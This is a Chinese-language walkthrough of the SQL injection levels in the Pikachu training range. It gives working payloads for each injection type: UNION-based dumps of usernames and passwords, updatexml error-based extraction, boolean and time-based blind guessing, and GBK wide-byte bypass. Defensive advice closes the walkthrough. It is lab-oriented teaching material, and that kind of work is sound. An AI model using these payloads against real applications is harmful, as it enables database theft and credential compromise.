Pikachu靶场通关之SQL注入
字数 2629 2025-08-15 21:32:31
SQL注入漏洞全面解析与实战指南
1. SQL注入概述
SQL注入是OWASP Top 10中危害排名第一的漏洞类型,可能导致数据库被脱库、数据被删除甚至服务器权限沦陷。
形成原因:前端传入后台的数据未经严格过滤,被直接拼接到SQL语句中执行。
防御策略:
- 对传入SQL语句的变量进行危险字符过滤
- 使用参数化查询(Parameterized Query/Statement)
- 谨慎使用ORM框架的"拼接"方式
2. 数字型注入(POST)
特征:参数为数字类型,通过POST方式提交
检测方法:
- 输入
id=1'观察是否报错 - 确认注入存在后判断字段数:
id=1 order by 3(逐步增加数字直到报错)
利用步骤:
- 判断回显点:
id=1 union select 1,2 - 获取用户和数据库信息:
id=1 union select user(),database() - 查询所有表名:
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' - 查询表字段:
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' - 获取数据:
id=1 union select group_concat(username),group_concat(password) from users
3. 字符型注入(GET)
特征:参数为字符串类型,通过GET方式提交
检测方法:
- 输入
'观察是否报错 - 使用
-- q注释掉后续SQL语句
利用步骤:
- 判断字段数:
' order by 2 -- q - 获取基本信息:
' union select user(),database() -- q - 后续步骤与数字型注入类似,注意闭合单引号
4. 搜索型注入
特征:用于搜索功能的注入
检测方法:
- 输入
'观察报错 - 注意字段数可能较多(示例中为3个)
利用方法:
- 基本流程与字符型注入相同,注意调整回显点数量
5. XX型注入
特征:闭合方式包含特殊字符(如括号)
检测方法:
- 输入
'报错后观察报错信息中的) - 使用
)-- q进行闭合
利用方法:
- 流程与字符型注入相同,注意闭合方式为
)
6. Insert/Update注入
特征:出现在数据插入或更新操作中
检测方法:
- 在注册或修改信息时抓包
- 测试参数如
username='是否报错
利用方法(报错注入):
- 获取用户信息:
username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q - 获取数据库信息:
username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q - 分段获取表名(因显示限制):
username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'- 或使用limit逐个读取:
username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'
7. Delete注入
特征:出现在删除操作中
检测方法:
- 修改删除操作的ID参数:
id=58'
利用方法:
- 不需要闭合单引号
- 直接使用报错注入:
/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
8. HTTP Header注入
特征:注入点在HTTP头字段(如User-Agent、Accept)
检测方法:
- 修改Header字段值为
'观察是否报错
利用方法:
- 与Insert/Update注入类似,修改注入点为Header字段
9. 布尔盲注
特征:只返回True/False,无详细报错信息
检测方法:
- 输入
lucy'观察返回结果变化
利用方法:
- 判断数据库长度:
lucy' and length(database())>6-- q - 逐字符猜解库名:
lucy' and (substr(database(),1,1))='p'-- q - 同样方法猜解表名、字段名和数据
10. 时间盲注
特征:通过响应时间判断注入结果
检测方法:
kobe%27+and+sleep%283%29--%20q观察是否延时
利用方法:
- 判断数据库长度:
kobe%27+and sleep(if((length(database())=7),0,3))--%20q - 逐字符猜解:
kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q - 同样方法获取其他信息
11. 宽字节注入
特征:数据库使用GBK编码,转义符被"吃掉"
检测方法:
- 输入
kobe%df'观察是否报错
利用方法:
- 使用
%df吃掉转义符:kobe%df' union select group_concat(username),group_concat(password) from users -- q
总结
常见注入点:
- GET/POST参数
- HTTP头字段
- 增删改查各种SQL操作
防御建议:
- 所有用户输入视为不可信
- 使用参数化查询
- 最小权限原则配置数据库账户
- 对输入进行严格过滤和转义
- 关闭错误回显
工具推荐:
- Burp Suite(用于拦截修改请求)
- Sqlmap(自动化SQL注入工具)
- 自定义脚本(用于特定场景的盲注)